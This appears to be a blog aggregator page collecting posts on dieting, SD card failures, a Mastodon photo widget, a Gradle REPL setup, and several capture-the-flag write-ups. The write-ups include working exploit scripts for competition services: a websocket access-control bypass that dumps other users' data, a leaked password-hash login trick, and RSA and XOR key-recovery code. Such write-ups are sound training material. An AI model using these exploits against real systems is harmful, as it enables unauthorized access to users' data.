Planet FAUi2k9

July 21, 2019

Christian DietrichInput < Output

Das fortwährende Angebot an leckerer und energiereicher Nahrung ist an mir in den letzten 10 Jahren nicht spurlose vorbei gegangen. Insbesondere im Studium und nun während meiner Promotionszeit habe ich veritable Energiespeicher, in Form von Fett, angelegt. Nun da das Buch fertig ist, habe ich den Kopf wieder freier und habe das Thema angegangen.

Im Zuge dessen habe ich mich mit Ernährung auseinander gesetzt und einige Einsichten gewonnen, von denen ich hier ein berichten will. Vielleicht für andere auch nützlich sind. Viele dieser Gedanken habe ich aus dem Buch Fettlogik überwinden von Nadja Herrmann, in dem sie Mythen über das Abnehmen anspricht und die passenden wissenschaftlichen Referenzen dazu zusammen trägt. Ich kann dieses Buch wirklich jedem nur wärmsten empfehlen, selbst wenn man nicht übergewichtig ist.

Fett ist ehemals verderbliche Nahrung

So trivial es klingt, aber Fettgewebe ist der Energiespeicher des Körpers. Mit 7000 kcal pro Kilogramm Fettgewebe ist es in der Größenordnung von Butter. Dieses Gewebe kann vom Körper mit relativ wenig Energieaufwand am Leben gehalten werden, da es im Grunde nur geheizt werden muss. Ganz anders als Muskelgewebe, das bewegt sich ja auch noch und gibt dabei Energie aus.

Evolutionstechnisch macht die Möglichkeit Fettgewebe anzulegen auch viel Sinn, weil man damit Zeiten mit schwankender Nahrungszufuhr gut ausgleichen kann. Wenn es im Herbst viel Obst und Nahrungsmitteln in Fülle gibt, ist es sinvoll sich daran zu überfressen und so die Kalorien als Fett rumzutragen, anstatt den Äpfeln beim verfaulen zuzusehen. Mehr essen als man gerade braucht ist also eine ganz valide Strategie der Nahrungsmittelkonservierung. Und weil verhungern schlimmer ist als ein etwaig späterer Herzinfarkt hat sich das auch in der Evolution durchgesetzt.

Der Körper wirft nichts weg

Viele Diätmythen erzählen einem das dieses oder jenes Nahrungsmittel den Kreislauf ankurbelt und man damit ganz Mühelos schlank wird. Es stellt sich aber die Frage, wie dieses "Kreislauf ankurbeln" funktionieren soll? Bekommt man davon Fieber, oder wohin geht die Energie, die dieser "angekurbelte" Kreislauf verbrauchen soll? Denn solange die Energieerhaltung gilt, gibt es eigentlich nur die eine Möglichkeit den Energiespeicher abzuschmelzen: Weniger zuführen als man verbraucht. Das ist die eine und die einzige Methode Fettgewebe zu verlieren (abgesehen von Operationen).

Ein Gedanke, den eine Freundin bei diesem Thema noch aufgebracht hat ist di der Ketogenen Diät. Dabei bringt man den Körper in eine Kohlenhydratmangelernährung (vgl. Low Carb). Der Mechanismus dahinter funktionier in etwa so: Der Körper hat im Grunde zwei große Stoffwechselwege für Energie, Glucose und Ketonkörper. Bei einer Ketogenen Diät reduziert man seine Kohlenhydrate soweit, dass die Zellen nun hauptsächlich Energie aus Fetten (also auch aus dem Fettgewebe) über den Ketonstoffwechsel verfeuern. Weil es aber eine Mangelernährung ist, hat es auch einige blöde Seiteneffekte, wie erhöhtes Herzinfarktrisiko. Eine Annahme, die hinter dieser gewollten Mangelernährung steht, wenn sie als Diät angepriesen wird, ist, dass dieser Ketonstoffwechsel ineffizienter ist als der Weg über die Glukose. Ein Beispiel für diese Idee in der Realität ist Atkins Diät. Allerdings weiß die Wikipedia dazu folgendes zu sagen:

"In his early books such as Dr Atkins' New Diet Revolution, Atkins made the controversial argument that the low-carbohydrate diet produces a metabolic advantage because "burning fat takes more calories so you expend more calories"; the Atkins diet was claimed to be "a high calorie way to stay thin forever". He cited one study in which he estimated this advantage to be 950 Calories (4.0 MJ) per day. A review study published in Lancet concluded that there was no such metabolic advantage and dieters were simply eating fewer calories."

Wenn wir mal einen Schritt zurück gehen, wäre das ein evolutionäre Nachteil für einen Menschen, wenn der Umweg über den Fettspeicher so massiv ineffizienter wäre als über direktes Verbrennen oder andere Energiespeicher, wie der Glykogenspeicher in der Leber. Es ist daher relativ naheliegend, das der Körper jedes einzelne Kalorien was man zu sich führt mit maximaler Effizienz (irgendwann) verwenden will. Alles was dieser Grundannahme widersprich ist erstmal konterintuitiv und würde ich erst glauben, wenn ich die large-scale Studie dazu gesehen habe. Alternativ auch gerne die Energiebilanz der zu Grunde liegenden chemischen Reduktion.

Kaloriendefizit != Hunger

Ich habe dafür argumentiert, dass ein ordentliches Kaloriendefizit die einzige Strategie ist seinen Energiespeicher zu verringern. Aber was erreichen dann eigentlich erfolgreiche Diäten?

Wenn ein Mensch mit einer Diät erfolgreich ist, hat er es über Diät geschafft seinen Hunger zu managen während er ein Kaloriendefizit gefahren hat. Dabei seh ich so zwei Richtungen mit denen das klappen kann: es darf nicht mehr so sucken sich nicht mehr jeden Tag mit KitKat vollzustopfen, und man kann psychologische Mechanismen ausnutzen um weniger essen zu wollen.

Das erste kann man ganz gut damit erreichen, indem man auf die Energiedichte seiner Nahrung achtet. Umso energiedichter ein Nahrungsmittel ist, umso mehr kann ich davon essen bevor ich mich vollgestopft fühle. Umgekehrt bedeutet das aber auch, dass ich mich solange mit Gurken und Tomaten überfressen kann bis ich platze und dennoch ein Energiedefizit erreichen kann. Das ist eine Strategie, die bei mir ganz gut funktioniert hat. Esst mehr Tomaten, macht auch attraktiver.

Die zweite Strategie kennt mehrere Varianten: Eine ist Beispielsweise eintöniger zu essen (sucks!). Wenn Menschen immer dasselbe bekommen, haben sie darauf weniger Appetit und essen automatisch weniger. Eine andere ist viele Proteine zu sich zu nehmen, weil der Körper (anscheinend) bei einer hohen Zufuhr an Aminosäuren früher sagt: jo passt schon, hör mal auf diesen Block Tofu zu essen.

Kommentare auf Mastodon

April 07, 2019

Christoph EggerMidnight Sun CTF 2019 EZDSA Writeup

This is FAUST playing CTF again, this time midnightsun.

Team: FAUST
Crew: siccegge

OK so we're looking at the EZDSA service. This is a signature service and the task is essentially to recover the signing key. Code is reproduced below.

#!/usr/bin/python2
from hashlib import sha1
from Crypto import Random
from flag import FLAG


class PrivateSigningKey:

    def __init__(self):
        self.gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L
        self.q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL
        self.p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L
        self.key = int(FLAG.encode("hex"), 16)

    def sign(self, m):

        def bytes_to_long(b):
            return long(b.encode("hex"), 16)

        h = bytes_to_long(sha1(m).digest())
        u = bytes_to_long(Random.new().read(20))
        assert(bytes_to_long(m) % (self.q - 1) != 0)

        k = pow(self.gen, u * bytes_to_long(m), self.q)
        r = pow(self.gen, k, self.p) % self.q
        s = pow(k, self.q - 2, self.q) * (h + self.key * r) % self.q
        assert(s != 0)

        return r, s

The outer service was not provided but you could pass in base64 encoded byte arrays and got back r and s as already indicated. Looking at the final computation for s we notice that given \((h + k * r)\) and \(h, r\) we can easily recover \(k\). For this to work it would be convenient if the first term ends up being 1. Unfortunately, the easiest way to get there is prevented: \(g^{q-1} = 1\). Fortunately this is not the only exponent where this works and a good candidate is \((q-1 / 2)\).

pow(gen, (q-1)//2, q)
1

From there the only thing left is solving \(s = (h + k * r)\). Fortunately gmpy has the solution prepackaged again: divm. So we proceed by getting a valid "signature" on \((q-1 / 2)\). The rest is simple calculation:

#!/usr/bin/python3
sha1(binascii.unhexlify("%x" % ((q-1)//2))).hexdigest()
'e6d805a06977596563941c1e732e192045aa49f0'

base64.b64encode(binascii.unhexlify("%x" % ((q-1)//2)))

gmpy2.divm(s-h, r, q)
mpz(39611266634150218411162254052999901308991)

binascii.unhexlify("%x" % 39611266634150218411162254052999901308991)
b'th4t_w4s_e4sy_eh?'

OK so why does \((q-1 / 2)\) work? Essentially, the field defined \(F_q\) -- calculations mod q -- has q elements additively and \(q-1\) elements multiplicatively(and we're considering exponentiation as repeated multiplication). Therefore it contains cyclic subgroups for all factors of \(q-1\) and for every element \(e\), \(e^o = 1\) where o is the order of the subgroup that element belongs to. as the generator is trivially not \(-1\) -- the subgroup of size 2 -- \((q-1 / 2)\) must be a multiple of the generated group's order.

January 25, 2019

Christian DietrichImmutable SD Cards

Today, I had a strange behavior of an micro SD card that I've found around here. And with this blogpost, I will document this behavior as I had a hard time to search for this phenomenon , as it is confused by the "I physically switched by SD card to read-only mode, help!" problem in forums.

The phenomenon manifests as an immuteable SD card. The operating system thinks it is a fully working read-write block medium and the card reports no error for a written block. However, the block is silently dropped. And since the OS thinks that the write was successful, the modified block is placed in the buffer cache. Therefore, it looks like filesystem operations just work fine. However, when I unplugged the card and replugged it, the card snapped to its original state.

After wondering about this phenomenon on Mastodon, I got a lot of answers that this "magic SD card reset" is a common failure mode for SD cards. They switch into a (sometimes) silent read-only mode. As people have sugested, this happens for example if the maximal number of write cycles is reached and no erasure blocks are left.

PS: For this blogpost I tried to use as many googlable synonyms for the problem, as I had really a hard time to find a conciese description of the silent SD card failure.

January 20, 2019

Christian DietrichMastodon Photostream on Static Websites

During the rebuilt of this website, I had the wish to show a dynamic Photostream of the pictures that I posted on my Mastodon account over at @chaos.social. After some fiddling around, I build a small Javascript snippet that uses JQuery to fetch my status updates from the public API and display them.

$(document).ready(function() {
    var self = this;
    $.ajax('https://mastodon.social/api/v1/accounts/267185/statuses?only_media=true&limit=40', {
        dataType:"json",
        success:function(data) {
        $(data).each(function () {
            var toot = this;
            $(this.media_attachments).each(function() {
                var url = this.preview_url;
                $('#enclosures').append(
                    $('<a>', {href: toot.uri})
                        .css('height', '260px')
                        .css('width', '260px')
                        .css('display', 'inline-block')
                        .css('background-image', 'url(' + url + ')')
                        .css('background-size', 'cover')
                        .css('background-repeat', 'no')
                        .css('background-position', '50% 50%')
                        .css('padding', '0')
                );
            });
        });
    }});
});

Somewhere on that page, you have to have an <div id='encolsures'></div> tag and your user must allow cross-site access to your Mastodon instance. If you want to use this snippet, you also have to replace my Mastodon user id (267185) with your id on your server. One kind of simple variant to find your id, is to grab the JSON from the public timeline (e.g. /api/v1/timelines/public) directly after you have posted some public test toot.

November 11, 2018

Christoph EggerRuCTFe 2018 laberator

Team: FAUST
Crew: izibi, siccegge
CTF: RuCTFe 2018

The service

Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in main.go, some stuff in the templates and the websockets endpoint in command_executor.go. Obviously you have to extract the strings ("labels") from the gameserver. Also the phrase stored when creating the account was used to store some more flags.

Client side authentication for labels

Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.


            let label = JSON.parse(e.data);
            if (label.Owner !== getLoginFromCookies()) {
                return;
            }

And indeed, the websocket view method checks for some valid session but doesn't concern itself with any further validation of access priviledges. As long as you have any valid session and can figure out websockets you can get about any label you like.


        "view": func(ex *CommandExecutor, data []byte) ([]byte, error) {
                var viewData ViewData
                err := json.Unmarshal(data, &viewData)
                if err != nil {
                        return nil, createUnmarshallingError(err, data)
                }
                cookies := parseCookies(viewData.RawCookies)
                ok, _ := ex.sm.ValidateSession(cookies)
                if !ok {
                        return nil, errors.New("invalid session")
                }
                label, err := ex.dbApi.ViewLabel(viewData.LabelId)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))
                }
                rawLabel, err := json.Marshal(*label)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))
                }
                return rawLabel, nil
        },

Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels

#!/usr/bin/env python3

import requests
import websocket
import json
import sys
import string
import random
import base64


def main():
    host = sys.argv[1]
    session = requests.session()

    password = [i for i in string.ascii_letters]
    random.shuffle(password)

    username = ''.join(password[:10])
    phrase = base64.b64encode((''.join(password[10:20])).encode()).decode()
    password = base64.b64encode((''.join(password[20:36])).encode()).decode()


    x = session.get('http://%s:8888/register?login=%s&phrase=%s&password=%s' %   
                    (host,username,phrase,password))
    x = session.get('http://%s:8888/login?login=%s&password=%s' % 
                    (host,username, password))
    raw_cookie = 'login=%s;sid=%s' % (x.cookies['login'], x.cookies['sid'])

    ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))

    data = {'Text': 'test', 'Font': 'Arial', 'Size': 20, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "create", "Data": json.dumps(data)}))
    # make sure create is already commited before continuing
    ws.recv()

    data = {'Offset': 0, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "list", "Data": json.dumps(data)}))
    stuff = json.loads(ws.recv())
    lastid = stuff[0]['ID']

    for i in range(0 if lastid-100 < 0 else lastid-100, lastid):
        ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
        try:
            data = {'LabelId': i, 'RawCookies': raw_cookie}
            ws.send(json.dumps({"Command": "view", "Data": json.dumps(data)}))
            print(json.loads(ws.recv())["Text"])
        except Exception:
            pass


if __name__ == '__main__':
    main()

Password Hash

The hash module used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, test) you end up with an hash that contains the password in plain (say, testTi\x02mH\x91\x96U\\I\x8a\xdd). Looking closer, if you register with a password that is exactly 16 characters (aaaaaaaaaaaaaaaa) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.

Listening to tcpdump for a while you'll notice interesting entries:

[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]

See the password hash there? Turns out this comes from the regularly scheduled last_users websocket call.


        "last_users":  func(ex *CommandExecutor, _ []byte) ([]byte, error) {
                users := ex.dbApi.GetLastUsers()
                rawUsers, err := json.Marshal(*users)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, users=(%v)", err.Error(), *users))
                }
                return rawUsers, nil
        },

So call last_users (doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.

Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.

March 22, 2018

Christoph EggeriCTF 2018 Spiderman writeup

This is FAUST playing CTF again, this time iCTF. We somehow managed to score an amazing 5th place.

Team: FAUST
Crew: izibi, siccegge
Files: spiderman

spider is a patched python interpreter. man is a pyc but with different magic values (explaining the patched python interpreter for now). Plain decompiling failes due to some (dead) cruft code at the beginning of all methods. can be patched away or you do more manual disassembling.

Observations:

  • does something with RSA
  • public exponent is slightly uncommon (\(2^{16}+3\) instead of \(2^{16}+1\)) but that should be fine.
  • uses openssl prime -generate to generate the RSA key. Doesn't use -safe but should also be fine for RSA purposes
  • You need to do a textbook RSA signature on a challenge to get the flag

Fine so far nothing obvious to break. When interacting with the service, you will likely notice the Almost Equal function in the Fun menu. According to the bytecode, it takes two integers \(a\) and \(b\) and outputs if \(a = b \pm 1\), but looking at the gameserver traffic, these two numbers are also considered to be almost equal:

$$ a = 33086666666199589932529891 \\ b = 35657862677651939357901381 $$

So something's strange here. Starting the spider binary gives a python shell where you can play around with these numbers and you will find that a == b - 1 will actually result in True. So there is something wrong with the == operator in the shipped python interpreter, however it doesn't seem to be any sort of overflow. Bit representation also doesn't give anything obvious. Luky guess: why the strange public exponent? let's try the usual here. and indeed \(a = b - 1 \pmod{2^{16}+1}\). Given this is also used to compare the signature on the challenge this becomes easily bruteforceable.

#!/usr/bin/env python3

import nclib, sys
from random import getrandbits

e = 2**16+3 # exponent
w = 2**16+1 # wtf

nc = nclib.Netcat((sys.argv[1], 20005), udp=False, verbose=True)
nc.recv_until(b'4) Exit\n')
nc.send(b'3\n') # Read

nc.recv_until(b'What do you want to read?\n')
nc.send(sys.argv[2].encode() + b'\n')

nc.recv_until(b'solve this:\n')
modulus, challenge = map(int, nc.recv_until(b'\n').decode().split()[:2])
challenge %= w

# Starting at 0 would also work, but using large random numbers makes
# it less obvious that we only bruteforce a small set of numbers
answer = getrandbits(2000)
while (pow(answer, e, modulus)) % w != challenge:
    answer += 1

nc.send(str(answer).encode() + b'\n')
flag = nc.recv_until(b'\n')

nc.recv_until(b'4) Exit\n')
nc.send(b'4\n')

October 13, 2017

Andreas RuprechtSchweden 2017

Wieder Urlaub, wieder Schweden! Ein paar EindrĂźcke aus zwei Wochen SmĂĽland.

October 03, 2017

Christoph EggerObservations on Catalunya

Some things I don't really understand reading in German media

  • Suddenly the electoral system becomes a legitimacy problem. While it has never been a problem for any of the previous decisions of the Catalunyan regional government suddenly a "only 48% of people voted for the government" results in the decisions being illegitimate? This is also a property of many governments (Greece and the US president being obvious examples but also the German Bundestag can have a majority government without the majority of votes). Is this just the media trying to find something they can blame on "the other side"?

  • How can you ever possibly excuse violence against people peacefully and non-violently doing whatever they're doing. Sure this referendum was considered illegal (and it may be legitimate to ignore the result, or legal prosecution of the initiators) but how can that ever possibly be an excuse for half a population peacefully doing whatever they are about to do? How can you possibly claim that "both sides are to blame" for the violence? "Die Zeit" seems to be the only one with an somewhat convincing argument ("Deciding to press on despite the obviously happening violence") while "Welt", "Spiegel" and "SĂźddeutsche" all trying to blame the regional government for the violence with as much of an argument as asking people to do something illegal in a totally peaceful way. Possibly an argument for legal consequences, sure -- but for violence?

Too bad I didn't keep the links / articles from Sunday night.

Christoph EggerAnother Xor (CSAW 2017)

A short while ago, FAUST participated in this year's CSAW qualification and -- as usual -- I was working on the Crypto challenges again. The first puzzle I worked on was called "Another Xor" -- and, while there are quite some write ups already our solution was somewhat different (maybe even the intended solution given how nice things worked out) and certainly interesting.

The challenge provides a cipher-text. It's essentially a stream cipher with key repeated to generate the key stream. The plain-text was plain + key + checksum.

p = this is a plaintextThis is the keyfa5d46a2a2dcdeb83e0241ee2c0437f7
k = This is the keyThis is the keyThis is the keyThis is the keyThis i

Key length

Our first step was figuring out the key length. Let's assume for now the key was This is the key. Notice that the key is also part of the plain-text and we know something about its location -- it ends at 32 characters from the back. If we only take a look at the encrypted key it should have the following structure:

p' = This is the key
k' = he keyThis is t

The thing to notice here is that every character in the Key appears both in the plain-text and key stream sequence. And the cipher-text is the XOR (⊕) of both. Therefore XOR over the cipher-text sequence encrypting the key should equal 0 (⊕(p') ⊕ ⊕(k') = 0). So remove the last 32 characters and find all suffixes that result in a XOR of 0. Fortunately there is exactly one such suffix (there could be multiple) and therefore we know the key size: 67.

To put it in code, this basically is the function we implemented for this:

def calculate(ciphertextcandidate):
    accumulator = 0
    for char in ciphertextcandidate:
        accumulator = accumulator ^ char

Which, for the matching plain-text and key-stream fragments is equal (due to the XOR encryption) to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^ keyfragment[i])

Now XOR lets us nicely reorder this to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^
                                     keyfragment[(i + 6) % len(plainfragment)])

And, as plainfragment[i] and keyfragment[(i + 6) % len(plainfragment)] are equal for the plain-text range encoding the key this becomes

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ 0

Or simply 0 if the guess of the cipher-text range is correct.

Key recovery

Now the nice thing to notice is that the length of the key (67) is a prime (and 38, the plain-text length, is a generator). As a result, we only need to guess one byte of the key:

Assume you know one byte of the key (and the position). Now you can use that one byte of the key to decrypt the next byte of the key (using the area where the key is part of the plain-text). Due to the primeness of the key length this allows recovery of the full key.

Finally you can either print all 256 options and look for the one that looks reasonable or you can verify the md5sum which will give you the one valid solution, flag{sti11_us3_da_x0r_for_my_s3cratz}.

Code


cipher = b"'L\x10\x12\x1a\x01\x00I[P-U\x1cU\x7f\x0b\x083X]\x1b'\x03\x0bR(\x04\r7SI\n\x1c\x02T\x15\x05\x15%EQ\x18\x00\x19\x11SJ\x00RV\n\x14YO\x0b\x1eI\n\x01\x0cE\x14A\x1e\x07\x00\x14aZ\x18\x1b\x02R\x1bX\x03\x05\x17\x00\x02\x07K\n\x1aLAM\x1f\x1d\x17\x1d\x00\x15\x1b\x1d\x0fH\x0eI\x1e\x02I\x01\x0c\x15\x00P\x11\\PXPCB\x03B\x13TBL\x11PC\x0b^\tM\x14IW\x08\rDD%FC"

def keycover(guess):
    key = dict()
    pos = 38
    key[38] = guess

    for i in range(67):
        newpos = (pos % 67) + 38
        key[newpos] = xor(cipher[pos:], key[pos])
        pos = newpos

    try:
        return b''.join([ key[i] for i in range(38, 105, 1) ])
    except:
        return b'test'

for guess in range(256):
    keycand = keycover(bytes([guess]))

    plaincand = xor(cipher, repeat(keycand, len(cipher)))

    if md5(plaincand[:-32]).hexdigest().encode() == plaincand[-32:]:
        print(keycand, plaincand)

Christoph EggerLooking for a mail program + desktop environment

Seems it is now almost a decade since I migrated from Thunderbird to GNUS. And GNUS is an awesome mail program that I still rather like. However GNUS is also heavily quirky. It's essentially single-threaded and synchronous which means you either have to wait for the "IMAP check for new mails" to finish or you have to C-g abort it if you want the user interface to work; You have to wait for the "Move mail" to complete (which can take a while -- especially with dovecot-antispam training the filter) before you can continue working. It has it's funny way around TLS and certificate validation. And it seems to hang from time to time until it is C-g interrupted.

So when I set up my new desktop machine I decided to try something else. My first try was claws-mail which seems OK but totally fails in the asynchronous area. While the GUI stays reactive, all actions that require IMAP interactions become incredibly slow when a background IMAP refresh is running. I do have quite some mailboxes and waiting the 5+ minutes after opening claws or whenever it decides to do a refresh is just to much.

Now my last try has been Kmail -- also driven by the idea of having a more integrated setup with CalDAV and CardDAV around and similar goodies. And Kmail really compares nicely to claws in many ways. After all, I can use it while it's doing its things in the background. However the KDE folks seem to have dropped all support for the \recent IMAP flag which I heavily rely on. I do -- after all -- keep a GNUS like workflow where all unread mail (ref \seen) needs to still be acted upon which means there can easily be quite a few unread messages when I'm busy at the moment and just having a quick look at the new (ref \recent) mail to see if there's something super-urgent is essential.

So I'm now looking for useful suggestions for a mail program (ideally with desktop integration) with the following essential features:

  • It stays usable at all times -- which means smarter queuing than claws -- so foreground actions are not delayed by any background task the mail program might be up to and tasks like moving mail are handled in the background.
  • Decent support for filtering. Apart from some basic stuff I need shortcut filtering for \recent mail.
  • Option to hide \seen mail (and ideally hide all folders that only contain \seen mail). Hopefully toggle-able by some hotkey. "Age in days" would be an acceptable approximation, but Kmail doesn't seem to allow that in search (it's available as a filter though).

September 28, 2017

Florian SchmausHow to add a REPL to your Project, using Ammonite and Gradle

Posted on September 28, 2017
Tags: gradle

Introduction

A REPL (Read-Eval-Print Loop) is a great way to use, explore and test your software. Imagine “browsing” the API of the code you have just written with tab completion.

After researching the existing REPL implementations, I decided for the Ammonite REPL. It’s an active project with an responsive maintainer, very feature rich and yet easy to use. I can only recommend looking into the other Ammonite projects.

The Ammonite REPL features tab completion, syntax highlighting and more. It can also be used for scripting purposes or as a system shell. Even though I will use it here as REPL, I can only recommend looking at its other features too.

How to add the REPL

The following will show you how to add a REPL to your project by the example of MiniDNS. The approach consists of a new Gradle subproject, whose name is post-fixed with -repl, and a two scripts: One written in Bash the other in Scala.

Creating the ‘-repl’ Gradle subproject

The -repl subproject is used to collect the classpath and thus, should declare dependencies on all other subprojects. It also comes with a custom task called printClasspath which prints the classpath to stdout for later use in the Bash script.

The build.gradle of MiniDNS looks as follows:

ext {
  scalaVersion = '2.11.7'
}

dependencies {
  // Delcare all dependencies that should be available in the REPL.
  compile project(':minidns-core')
  compile project(':minidns-iterative-resolver')
  compile project(':minidns-dnssec')
  compile project(':minidns-integration-test')
  compile project(':minidns-hla')

  // Also pull in Ammonite.
  compile "com.lihaoyi:ammonite_$scalaVersion:0.8.0"

  // The dependencies for the -repl tests.
  testCompile project(path: ":minidns-core", configuration: "testRuntime")
  testCompile project(path: ":minidns-core", configuration: "archives")
}

// The printClasspath task is used by the Bash script to kickoff the
// repl with a properly configured classhpath.
task printClasspath(dependsOn: assemble) << {
  println sourceSets.main.runtimeClasspath.asPath
}

The Bash script to kickoff the REPL

The repl Bash script will kickoff the REPL by using gradle to collect the Maven artifacts of the required dependencies and to prepare the classpath. After that is done, the java binary is used to start the REPL.

#!/usr/bin/env bash
set -e
set -u
set -o pipefail

while getopts d OPTION "$@"; do
case $OPTION in
d)
set -x
;;
esac
done

PROJECT_ROOT=$(dirname "${BASH_SOURCE[0]}")
cd "${PROJECT_ROOT}"

echo "Compiling and computing classpath (May take a while)"
# Sadly even with the --quiet option Gradle (or some component of)
# will print the number of warnings/errors to stdout if there are
# any.
GRADLE_CLASSPATH="$(gradle :minidns-repl:printClasspath --quiet |\
  tail -n1)"

echo "Classpath computed, starting REPL"

java \
  -ea \
  -Dscala.usejavacp=true \
  -classpath "${GRADLE_CLASSPATH}" \
  ammonite.Main \
  -f minidns-repl/scala.repl

You may have noticed the -f minidns-repl/scala.repl argument given to Ammonite. The scala.repl is basically file containing Scala code which is used to setup the environment of the REPL. It is where you want to declare often used and important parts of the API, that you want to make easily accessible in the REPL.

For MiniDNS, the scala.repl file looks like this:

de.measite.minidns.minidnsrepl.MiniDnsRepl.init()

import de.measite.minidns._
import de.measite.minidns.record._
import de.measite.minidns.Record.TYPE

import de.measite.minidns.dnssec.DNSSECClient

import de.measite.minidns.minidnsrepl.MiniDnsRepl.clearCache

import de.measite.minidns.minidnsrepl.MiniDNSStats._

import de.measite.minidns.jul.MiniDnsJul._

// Some standard values
Predef.println("Set value 'c' to DNSClient")
val c = de.measite.minidns.minidnsrepl.MiniDnsRepl.DNSCLIENT
Predef.println("Set value 'ic' to IterativeDNSClient")
val ic = de.measite.minidns.minidnsrepl.MiniDnsRepl.ITERATIVEDNSCLIENT
Predef.println("Set value 'dc' to DNSSECClient")
val dc = de.measite.minidns.minidnsrepl.MiniDnsRepl.DNSSECCLIENT
// A normal resolver
Predef.println("Set value 'r' to ResolverApi")
val r = de.measite.minidns.hla.ResolverApi.INSTANCE
// A DNSSEC resolver
Predef.println("Set value 'dr' to DnssecResolverApi")
val dr = de.measite.minidns.hla.DnssecResolverApi.INSTANCE

Predef.println("Enjoy MiniDNS. Go ahead and try a query. For example:")
Predef.println("c query (\"geekplace.eu\", TYPE.A)")
Predef.println("dr resolveDnssecReliable (\"verteiltesysteme.net\", classOf[A])")

Conclusion

I use this technique in multiple FOSS projects I’m involved. Most notably:

Having a such a powerful and nice REPL as provided by Ammonite at hand when developing makes it easy to test and evaluate new features. While using the API via the REPL I often discovered rough edges that made the API unnecessarily hard to use, which I’ve fixed afterwards.

Furthermore the REPL allows new user to explore the API. Feel free to try for yourself. Always wondered what is happening when MiniDNS performs a DNSSEC-enabled lookup? Lets try it out:

$ git clone https://github.com/rtreffer/minidns
$ cd minidns
$ ./repl
Compiling and computing classpath (May take a while)
Classpath computed, starting REPL
Loading...
MiniDNS REPL
Set value 'c' to DNSClient
Set value 'ic' to IterativeDNSClient
Set value 'dc' to DNSSECClient
Set value 'r' to ResolverApi
Set value 'dr' to DnssecResolverApi
Enjoy MiniDNS. Go ahead and try a query. For example:
c query ("geekplace.eu", TYPE.A)
dr resolveDnssecReliable ("verteiltesysteme.net", classOf[A])
Welcome to the Ammonite Repl 0.8.0
(Scala 2.11.8 Java 1.8.0_144)
@ enableMiniDnsTrace
@ dc queryDnssec ("uni-erlangen.de", TYPE.A)

April 09, 2017

Christoph EggerSecured OTP Server (ASIS CTF 2017)

This weekend was ASIS Quals weekend again. And just like last year they have quite a lot of nice crypto-related puzzles which are fun to solve (and not "the same as every ctf").

Actually Secured OTP Server is pretty much the same as the First OTP Server (actually it's a "fixed" version to enforce the intended attack). However the template phrase now starts with enough stars to prevent simple root.:

def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

Now let A = template * 2^(18*8), B = passphrase. This results in OTP = A + B. c therefore is (A+B)^3 mod n == A^3 + 3A^2b + 3AB^2 + B^3. Notice that only B^3 is larger than N and is statically known. Therefore we can calculate A^3 // N and add that to c to "undo" the modulo operation. With that it's only iroot and long_to_bytes to the solution. Note that we're talking about OTP and C here. The code actually produced two OTP and C values but you can use either one just fine.

#!/usr/bin/python3

import sys
from util import bytes_to_long
from gmpy2 import iroot

PREFIX = b'*************** Welcome, dear customer, the secret passphrase for today is: '
OTPbase = bytes_to_long(PREFIX + b'\x00' * 18)

N = 27990886688403106156886965929373472780889297823794580465068327683395428917362065615739951108259750066435069668684573174325731274170995250924795407965212988361462373732974161447634230854196410219114860784487233470335168426228481911440564783725621653286383831270780196463991259147093068328414348781344702123357674899863389442417020336086993549312395661361400479571900883022046732515264355119081391467082453786314312161949246102368333523674765325492285740191982756488086280405915565444751334123879989607088707099191056578977164106743480580290273650405587226976754077483115441525080890390557890622557458363028198676980513

WRAPPINGS = (OTPbase ** 3) // N

